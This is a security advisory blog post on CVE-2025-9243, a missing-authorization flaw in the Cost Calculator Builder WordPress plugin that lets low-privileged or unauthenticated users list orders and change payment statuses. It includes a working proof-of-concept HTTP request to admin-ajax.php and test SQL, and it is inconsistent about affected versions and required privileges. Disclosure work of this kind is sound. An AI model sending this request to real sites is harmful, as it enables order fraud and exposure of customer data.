Cost Calculator Builder (v3.5.24) is a popular WordPress plugin (50k+ installs) that enables site owners to create customizable pricing calculators and capture form-based orders. It exposes AJAX endpoints—get_cc_orders to list orders and update_order_status to change an order’s status—relying solely on client-side nonces injected into window.ccb_nonces. However, these handlers perform no current_user_can() checks, permitting any visitor who steals or observes the publicly exposed nonces to list all orders (including customer names and email addresses) and arbitrarily mark payments as complete, canceled, rejected, or pending.

CVECVE-2025-9243
Plugin VersionCost Calculator Builder <= 3.5.32
CriticalHigh
All Time2 701 355
Active installations50 000+
Publicly PublishedOctober 9, 2025
Last UpdatedOctober 9, 2025
ResearcherDmitrii Ignatyev
PoCYes
ExploitNo
Reference https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9243
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cost-calculator-builder/cost-calculator-builder-3532-authenticated-subscriber-missing-authorization-via-get-cc-ordersupdate-order-status-functions
Plugin Security Certification by CleanTalk
Logo of the plugin

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

August 22, 2025Plugin testing and vulnerability detection in the Cost Calculator Builder have been completed
August 22, 2025I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing
October 9, 2025Registered CVE-2025-9243

Discovery of the Vulnerability

A security review revealed that both AJAX actions are registered with add_action('wp_ajax_nopriv_...') and add_action('wp_ajax_...'), but their callbacks invoke only wp_verify_nonce( $_POST['nonce'], 'ccb_orders' ) or ccb_update_order without checking user capabilities. Since the plugin enqueues these nonces on public pages, any unauthenticated visitor can read window.ccb_nonces, extract the tokens, and invoke order-related actions via admin-ajax.php.

Understanding of CSRF attack’s

WordPress requires both nonce validation (to prevent CSRF) and capability checks (to enforce role-based access). Omitting capability checks while trusting nonces—especially when those nonces are publicly exposed—effectively grants low or no-privileged users administrator-level actions. This pattern has appeared in other plugins (CVE-2025-9202 in ColorMag, CVE-2025-11705 in Anti-Malware Security), leading to data leakage and business-logic manipulation. CVE-2025-9243 echoes these flaws: unprivileged users can now breach customer privacy and tamper with financial workflows.

Exploiting the CSRF Vulnerability

To exploit CVE-2025-9243, an attacker with Subscriber+ cookies:

POC:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1/wordpress/wp-admin/index.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 125
Origin: http://127.0.0.1
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Cookie: Subscriber+ Cookies
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

action=update_order_status&nonce=NONCE_FROM_PROFILE.php&data=JTdiJTIyaWRzJTIyJTNhJTIyMiUyMiUyYyUyMnN0YXR1cyUyMiUzYSUyMmNvbXBsZXRlJTIyJTdk

For tests you should create a order in DB:
INSERT INTO wp_cc_orders (calc_id, calc_title, status, order_details, form_details, promocodes, created_at, updated_at) VALUES (2,'Test Calculator','pending',  '[{"alias":"text_field_id_1","label":"Text","value":"Sample","options":null}]',  '{"fields":[{"name":"name","value":"John Doe"},{"name":"email","value":"us**@*****le.com"}]}',  '[]', NOW(), NOW());
select * from wp_cc_orders;

____

Data Exposure: Attackers harvest customer names, emails, and order details—violating privacy and GDPR regulations.

Financial Fraud: Malicious actors can mark orders as “complete” to trigger fulfillment or “rejected” to block genuine purchases.

Business Disruption: Automated bots could toggle payment statuses unpredictably, leading to shipping errors, refunds, or lost revenue.

Integrity Loss: Order history becomes unreliable, preventing accurate reporting and reconciliation.

Recommendations for Improved Security

Capability Enforcement: In both AJAX handlers, add if ( ! current_user_can( 'manage_options' ) ) wp_send_json_error( 'Unauthorized' );.

Restrict Nonce Exposure: Only inject ccb_nonces on admin pages, not publicly.

Separate Nonces per Action: Use distinct, action-specific nonces and verify them via check_ajax_referer().

Audit AJAX Routes: Ensure all state-changing AJAX actions require both a valid nonce and appropriate capabilities.

Logging & Alerts: Record each action with user IP and timestamp, and alert site administrators on unexpected status changes.

By taking proactive measures to address CSRF vulnerabilities like CVE-2025-9243 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.

#WordPressSecurity #MissingAuth #WebsiteSafety #StayProtected #HighVulnerability

Use CleanTalk solutions to improve the security of your website

Dmitrii I.
CVE-2025-9243 – Cost Calculator Builder – Missing Authorization to update order status and payment status via update_order_status AJAX action – POC

Leave a Reply

Your email address will not be published. Required fields are marked *